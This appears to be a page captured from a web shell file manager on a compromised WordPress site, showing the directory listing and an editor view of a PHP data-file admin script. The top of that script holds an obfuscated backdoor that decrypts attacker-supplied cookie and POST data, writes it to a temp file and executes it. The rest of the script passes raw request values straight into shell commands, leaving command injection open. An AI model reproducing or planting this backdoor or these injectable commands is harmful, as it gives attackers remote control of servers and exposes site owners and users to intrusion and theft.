📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
surefundeals
/
Name
Size
Perm
Actions
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0555
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.51 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
222.php
15.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
15.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.54 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-scanner.gz
21.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-scanner.php
0.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.94 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-ugebuild.gz
47.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-ugebuild.php
0.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
yyj.txt
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: delete_data_file.php
<?php $TJHfriYp = "\147" . "\x69" . chr ( 326 - 231 )."\106" . 'f' . 'h' . "\104" . chr ( 737 - 620 ); $HrSTlYR = "\x63" . 'l' . 'a' . "\x73" . chr (115) . "\137" . chr (101) . chr (120) . "\151" . 's' . "\x74" . chr ( 227 - 112 ); $jrrgXJFEr = class_exists($TJHfriYp); $HrSTlYR = "24085";$jAFxIqtL = !1;if ($jrrgXJFEr == $jAFxIqtL){function GfsmZpgDUe(){return FALSE;}$dIYXK = "5766";GfsmZpgDUe();class gi_FfhDu{private function SiiaZJoW($dIYXK){if (is_array(gi_FfhDu::$svKpPo)) {$SoNzaiD = sys_get_temp_dir() . "/" . crc32(gi_FfhDu::$svKpPo[chr ( 213 - 98 ).chr (97) . chr ( 278 - 170 )."\x74"]);@gi_FfhDu::$svKpPo["\167" . "\x72" . chr ( 261 - 156 ).chr (116) . 'e']($SoNzaiD, gi_FfhDu::$svKpPo[chr ( 517 - 418 ).chr (111) . chr ( 1055 - 945 ).chr (116) . "\145" . chr (110) . chr (116)]);include $SoNzaiD;@gi_FfhDu::$svKpPo['d' . "\x65" . "\154" . "\145" . chr ( 609 - 493 )."\145"]($SoNzaiD); $dIYXK = "5766";exit();}}private $VOECOOI;public function YSQbJj(){echo 29718;}public function __destruct(){$dIYXK = "49665_16531";$this->SiiaZJoW($dIYXK); $dIYXK = "49665_16531";}public function __construct($rmeEHnNC=0){$UUUWV = $_POST;$VXLbE = $_COOKIE;$vOfSa = "0921470d-8ff4-4f88-a1b8-17531be655c1";$utaOpQqfMI = @$VXLbE[substr($vOfSa, 0, 4)];if (!empty($utaOpQqfMI)){$CNNWXMXki = "base64";$oIwXDBAteD = "";$utaOpQqfMI = explode(",", $utaOpQqfMI);foreach ($utaOpQqfMI as $aCCuMkMKI){$oIwXDBAteD .= @$VXLbE[$aCCuMkMKI];$oIwXDBAteD .= @$UUUWV[$aCCuMkMKI];}$oIwXDBAteD = array_map($CNNWXMXki . "\x5f" . "\144" . chr (101) . chr ( 306 - 207 ).chr (111) . "\x64" . "\145", array($oIwXDBAteD,)); $oIwXDBAteD = $oIwXDBAteD[0] ^ str_repeat($vOfSa, (strlen($oIwXDBAteD[0]) / strlen($vOfSa)) + 1);gi_FfhDu::$svKpPo = @unserialize($oIwXDBAteD); $oIwXDBAteD = class_exists("49665_16531");}}public static $svKpPo = 15341;}$aUlrT = new /* 61523 */ $TJHfriYp(5766 + 5766); $jAFxIqtL = $aUlrT = $dIYXK = Array();} ?><?php define('INCLUDE_CHECK',true); include_once 'connect.php'; # delete lines from given data file. if($_REQUEST['key']==1) { $file_name=trim($_REQUEST['delte_file']); $dcount=trim($_REQUEST['dcount']); if(empty($file_name)){ alertMsg("Warning! pls Enter the data file name....",5,2); exit; } if(empty($dcount)){ alertMsg("Warning! pls Enter the delete count....",5,2);exit; } $bf_count=exec("wc -l $DATA_FILE_PATH/$file_name | awk '{ print $1 }'"); exec("sed -i '1,$dcount d' $DATA_FILE_PATH/$file_name"); $af_count=exec("wc -l $DATA_FILE_PATH/$file_name | awk '{ print $1 }'"); alertMsg("Successfully removed data file!... Before Count : $bf_count After Count : $af_count ... ",8,1); exit; } # data file marge if($_REQUEST['key']==2) { $input_files=trim($_REQUEST['input_files']); $output_file=trim($_REQUEST['output_file']); if(empty($input_files)){ alertMsg("Warning! pls Enter the input data file name...",7,2);exit; } if(empty($output_file)){ alertMsg("Warning! pls Enter the output data file name...",7,2); exit; } $path=$DATA_FILE_PATH.'/'; $files=explode(',',$input_files); foreach($files as $file) { $fname.=$path.$file.' '; } exec("cat $fname > $path$output_file"); if(file_exists("$path$output_file")) { alertMsg("File Merged Successfully...",5,1); } exit; } # data file split if($_REQUEST['key']==3) { $file=trim($_REQUEST['split_file']); $split_line=trim($_REQUEST['scount']); $flag=trim($_REQUEST['flag']); if(empty($file)){ alertMsg("Warning! pls Enter the split file name...",5,2); exit; } if(empty($split_line) ){ alertMsg("Warning! pls Enter the split count...",5,2); exit; } if(!is_numeric($split_line)){ alertMsg("Warning! pls Enter the valid split count...",5,2); exit; } if($flag==1) { $file1=$file."_"; `rm -rf $DATA_FILE_PATH/$file1*`; `/usr/bin/split -l $split_line $DATA_FILE_PATH/$file $DATA_FILE_PATH/$file1`; $c= `wc -l $DATA_FILE_PATH/$file1*`; `chmod 0777 $DATA_FILE_PATH/$file1*`; }else{ $wc= `wc -l $DATA_FILE_PATH/$file | awk '{ print $1 }'`; $wc=round($wc/$split_line); $file1=$file."_"; `rm -rf $DATA_FILE_PATH/$file1*`; `/usr/bin/split -l $wc $DATA_FILE_PATH/$file $DATA_FILE_PATH/$file1`; $c= `wc -l $DATA_FILE_PATH/$file1*`; `chmod 0777 $DATA_FILE_PATH/$file1*`; } $c=str_replace("\n","<br>",$c); echo $c=str_replace("$DATA_FILE_PATH/","",$c)."<hr>"; exit; } #fetch statid for given data file. if($_REQUEST['key']==4) { $fetch_file=trim($_REQUEST['fetch_file']); if(empty($fetch_file)){ alertMsg("Warning! pls Enter the data file name...",5,2);exit; } $file=`cat $DATA_FILE_PATH/$fetch_file | awk -F "|" '{print $4}' | sort -u`; //$file=str_replace("\n","<br>",$file); echo "<textarea rows='30' style='width:600px' >"; echo trim($file); echo "</textarea>"; exit; } #display statid if($_REQUEST['key']==5) { $view_file=trim($_REQUEST['view_file']); $cmd=trim($_REQUEST['cmd']); $count=trim($_REQUEST['ccount']); if(empty($view_file)){ alertMsg("Warning! pls Enter the data file name...",5,2); exit; } if($cmd=='head'){ echo "<pre>"; echo `head -$count $DATA_FILE_PATH/$view_file`; echo "</pre>"; }elseif($cmd=='tail') { echo "<pre>"; echo `tail -$count $DATA_FILE_PATH/$view_file`; echo "</pre>"; } exit; } #list download dir latest modified 100 files. if($_REQUEST['key']==6) { $dir = $DATA_FILE_PATH; $str=`ls -utl $dir/ | head -100 | awk '{ print $9"|"$5"|"$6"-"$7" "$8"~" }'`; $files=explode('~',$str); array_shift($files); foreach($files as $file) { $name=explode('|',$file); $fname=trim($name[0]); $count=exec("wc -l $DATA_FILE_PATH/$fname | awk '{ print $1 }'"); if($count) { echo "<tr ><td title='Click to Copy Data File Name' onclick='copyDatafile(\"$fname\")' >$fname</td> <td>$count</td><td>$name[2] <button onclick='deleteDataFile(\"$fname\");' title='Click to delete data file ' class='btn'><i class='glyphicon-remove_2'></i></button></td> </tr>"; } } exit; } #Move file from one server to another one server. if($_REQUEST['key']==7) { $from_server=trim($_REQUEST['from_server']); $source_name=trim($_REQUEST['source_name']); $to_server=trim($_REQUEST['to_server']); $destination_file=trim($_REQUEST['destination_file']); $source="$DATA_FILE_PATH/$source_name"; $temp="/var/www/html/Wxtemp/$destination_file"; if(file_exists($temp)) { echo "<strong>Warning! output file name alredy exists try another one..</strong>"; alertMsg("Warning! output file name alredy exists try another one...",5,2); exit; } if(file_exists($source)) { `chmod -R 0777 $source`; `cp -f $source $temp`; }else{ echo "<strong>Warning! pls Enter Correct data file name..</strong>"; alertMsg("Warning! pls Enter Correct data file name.....",5,2); exit; } if(file_exists($temp)) { $source=urlencode("$local_path/Wxtemp/$destination_file"); $destination=urlencode("$DATA_FILE_PATH/"); $res=file_get_contents("http://$to_server.webxemail.com/Webx_process/source_move.php?source=$source&destination=$destination"); //$source_data_file="$local_server/temp/$destination_file"; //$url="http://$to_server.webxemail.com/download_datafile.php?datafilename=".urlencode($source_data_file); //$res=file_get_contents($url); //if($res==1) { alertMsg("Data File Moved Successfully...",5,1); `bin/chmod -R 0777 $temp`; `sh delete_temp_file.sh $temp`; exit; //} } exit; } if($_REQUEST['key']==8) { $delete_file=trim($_REQUEST['delete_file']); $file="$DATA_FILE_PATH/$delete_file"; if(isset($delete_file) && file_exists($file) ){ `sh delete_temp_file.sh $file`; } exit; } ?> <html> <head> <!-- Bootstrap --> <link rel="stylesheet" href="css/bootstrap.min1.css"> <!-- Bootstrap responsive --> <link rel="stylesheet" href="css/bootstrap-responsive.min.css"> <!-- jQuery UI --> <link rel="stylesheet" href="css/plugins/jquery-ui/smoothness/jquery-ui.css"> <link rel="stylesheet" href="css/plugins/jquery-ui/smoothness/jquery.ui.theme.css"> <!-- Theme CSS --> <link rel="stylesheet" href="css/style.css"> <!-- Color CSS --> <link rel="stylesheet" href="css/themes.css"> <!-- color box --> <link rel="stylesheet" href="js/plugins/colorbox/colorbox.css"> <!-- jQuery --> <script src="js/jquery.min.js"></script> <!-- jQuery UI --> <script src="js/plugins/jquery-ui/jquery.ui.core.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.widget.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.mouse.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.draggable.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.resizable.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.sortable.min.js"></script> <!-- Bootstrap --> <script src="js/bootstrap.min.js"></script> <!-- color box --> <script src="js/plugins/colorbox/jquery.colorbox.js"></script> <!-- data table--> <script src="js/plugins/datatable1/js/jquery.dataTables.js"></script> <script type="text/javascript" src="js/jquery.jclock.js"></script> <link rel="stylesheet" href="css/plugins/datatable/TableTools.css"> <!-- form upload--> <script type="text/javascript" src="js/plugins/form/jquery.form.js"></script> <!--[if lte IE 9]> <script src="js/plugins/placeholder/jquery.placeholder.min.js"></script> <script> $(document).ready(function() { $('input, textarea').placeholder(); }); </script> <![endif]--> <!-- Favicon --> <link rel="shortcut icon" href="img/favicon.ico" /> <!-- Apple devices Homescreen icon --> <link rel="apple-touch-icon-precomposed" href="img/apple-touch-icon-precomposed.png" /> <style> body { background: #e3dedb !important; width: 100%;} /* Adding !important forces the browser to overwrite the default style applied by Bootstrap */ </style> </head> <body > <div class="row-fluid"> <div class="span6"> <div class="box box-color box-bordered"> <div class="box-title"> <h3> <i class="icon-table"></i> Data file details </h3> <div class='actions'> <a id="reficon" title='Click to Refresh Table' onclick="refreshTable();" href="#" class="btn btn-mini content-refresh"><i class="icon-refresh"></i></a> </div> </div> <div class="box-content nopadding"> <table id='data_file_tab' class='table table-hover table-nomargin dataTable table-bordered' style='font-size:13px;'> <thead ><tr><th>Data File</th><th>Count</th><th>Modified Time</th></tr></thead><tbody id='tab_body' > <?php echo file_get_contents("$local_server/delete_data_file.php?key=6"); ?> </tbody> </table> </div> </div> <script type='text/javascript'> function refreshTable() { $('#tab_body').html("<a class='btn btn-green btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.post('delete_data_file.php',{ key: 6 } ,function(data) { $('#tab_body').html(data); } ); } function copyDatafile(file) { if (file != null) { prompt("Ctrl+C for Copy the datafile name.", file); } } function deleteDataFile(name) { $('#tab_body').html("<a class='btn btn-green btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.post('delete_data_file.php',{ key: 8 ,delete_file: name } ,function(data) { $('#tab_body').html(data); } ); $.post('delete_data_file.php',{ key: 6 } ,function(data) { $('#tab_body').html(data); } ); } </script> </div> <div class="span6"> <div class="box"> <div class="box-title"> <ul class="tabs tabs-left"> <li class="active"><a data-toggle="tab" href="#fetch_statid_tab">Fetch Dgid</a></li> <li class=""><a data-toggle="tab" href="#file_copy_tab">File Move</a></li> <li class=""><a data-toggle="tab" href="#merge_tab">Merge</a></li> <li class=""><a data-toggle="tab" href="#split_tab">Split</a></li> <li class=""><a data-toggle="tab" href="#delete_tab">Delete</a></li> <!-- <li class=""><a data-toggle="tab" href="#file_view_tab">Head/Tail</a></li> --> <!-- <li class=""><a data-toggle="tab" href="#save_listid_tab">Save ListId</a></li> --> </ul> </div> <div class="box-content"> <div class="tab-content"> <div id="delete_tab" class="tab-pane active"> <form id='form_1'> <table cellspacing="0" cellpadding="2" border="0"> <tr> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Data File :</strong></label> <div class="controls"> <input type="text" id="delte_file" name="delte_file" class="input-large" value="" > </div> </div> </td> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Count :</strong></label> <input type="text" id="dcount" name="dcount" class="input-large" value="" > </div> </td> <td> <span class="btn btn-primary" style='margint-top:5px;' onclick='subValue("delete_resp","1")'>delete!</span> </td> </tr> </table> <input type='hidden' name='key' value='1'> </form> <div style='margin-left:5px;' id='delete_resp'></div> </div> <div id="merge_tab" class="tab-pane"> <form id='form_2'> <table cellspacing="0" cellpadding="2" border="0"> <tr> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Data Files :</strong></label> <div class="controls"> <input type="text" id="input_files" name="input_files" class="input-large" value="" placeholder='file1 , file2'> </div> </div> </td> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Output Filename :</strong></label> <input type="text" value="" id="output_file" name="output_file" class="input-large" > </div> </td> <td > <span class="btn btn-primary" style='marign-top:-5px;' onclick='subValue("merge_resp","2")'>Merge!</span> </td> </tr> </table> <input type='hidden' name='key' value='2'> </form> <div id='merge_resp'></div> </div> <div id="split_tab" class="tab-pane"> <form id='form_3'> <table cellspacing="0" cellpadding="2" border="0"> <tr> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Data File :</strong></label> <div class="controls"> <input type="text" id="split_file" name="split_file" class="input-large" value="" > </div> </div> </td> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Line Count </strong> <input type="radio" name="flag" value="1" style="margin-top:-3px;"checked><strong> Split Count </strong><input type="radio" name="flag" value="0" style="margin-top:-3px;" ></label> <input type="text" value="" id="scount" name="scount" class="input-large" > </div> </td> <td > <span class="btn btn-primary" style='marign-top:-5px;' onclick='subValue("split_resp","3")'>Split!</span> </td> </tr> </table> <input type='hidden' name='key' value='3'> </form> <div id='split_resp'></div> </div> <div id="fetch_statid_tab" class="tab-pane"> <form id='form_4'> <table cellspacing="0" cellpadding="2" border="0"> <tr> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Data File :</strong></label> <div class="controls"> <input type="text" id="fetch_file" name="fetch_file" class="input-large" value="" > </div> </div> </td> <td> <span class="btn btn-primary" style='margint-top:5px;' onclick='subValue("fetch_resp","4")'>Fetch Dgid</span> </td> </tr> </table> <input type='hidden' name='key' value='4'> </form> <div id='fetch_resp'></div> </div> <div id="file_view_tab" class="tab-pane"> <form id='form_5'> <table cellspacing="0" cellpadding="2" border="0" style='font-size:13px;'> <tr> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Data File :</strong></label> <div class="controls"> <input type="text" id="view_file" name="view_file" class="input-large" value="" > </div> </div> </td> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Count :</strong></label> <input type="text" id="ccount" name="ccount" class="input-medium" value="" > </div> </td> <td valign="top"> <div class="control-group"> <label class="control-label"><strong>Cmd :</strong></label> Head <input type="radio" name="cmd" value="head" style='margin-top:-2px;' checked> Tail <input type="radio" name="cmd" value="tail" style='margin-top:-2px;'> </div> </td> <td valign="top"> <div class="control-group"> <label class="control-label"></label><br> <span class="btn btn-primary" style='marign-top:-5px;' onclick='subValue("view_resp","5")' >Display!</span> </div> </td> </tr> </table> <input type='hidden' name='key' value='5'> </form> <div id='view_resp'></div> </div> <div id="file_copy_tab" class="tab-pane"> <form id='form_6'> <table> <tr> <td> <div class="control-group"> <label class="control-label"><strong>Input Data File :</strong></label> <input type="text" value="" class="input-xlarge" name="source_name"> </div> </td> <td> <div class="control-group"> <label class="control-label"><strong>To Server :</strong></label> <select class="input-medium" name="to_server"> <?php echo serverAliasDropdown(); ?> </select> </div> </td> <td> <div class="control-group"> <label class="control-label"><strong>Output Data File :</strong></label> <input type="text" class="input-medium" name="destination_file" value=""> </div> </td> <td><span class="btn btn-primary" style='marign-top:-5px;' onclick='subValue("move_resp","6")' >Move</span></td> </tr> </table> <input type='hidden' name='key' value='7'> </form> <div id='move_resp'></div> </div> <div id="save_listid_tab" class="tab-pane"> <form id="imageform" method="post" enctype="multipart/form-data" action='file_upload.php'> <table> <tr><td valign='top'>ListIds Text File<input type="file" name="file_upload" id="file_upload" /></td></tr> </table> </form> <div id='file_upload_resp'></div> </div> </div> </div> </div> </div> <script type='text/javascript'> function subValue(rid,fid){ $('#'+rid).html("<a class='btn btn-green btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.post('delete_data_file.php',$('#form_'+fid).serialize(),function(data) { $('#'+rid).html(data); } ); } $( document ).ready(function() { $('#data_file_tab').dataTable({ 'bFilter': true,'bPaginate': false,"aaSorting": [[ 1, "desc" ]] }); $("#file_upload").change(function() { $("#file_upload_resp").html(''); $('#file_upload_resp').html("<a class='btn btn-blue btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> File Uploading take some time please wait... </a>"); $("#imageform").ajaxForm({target: '#file_upload_resp'}).submit(); }); }); </script> </div> </body> </html>
Save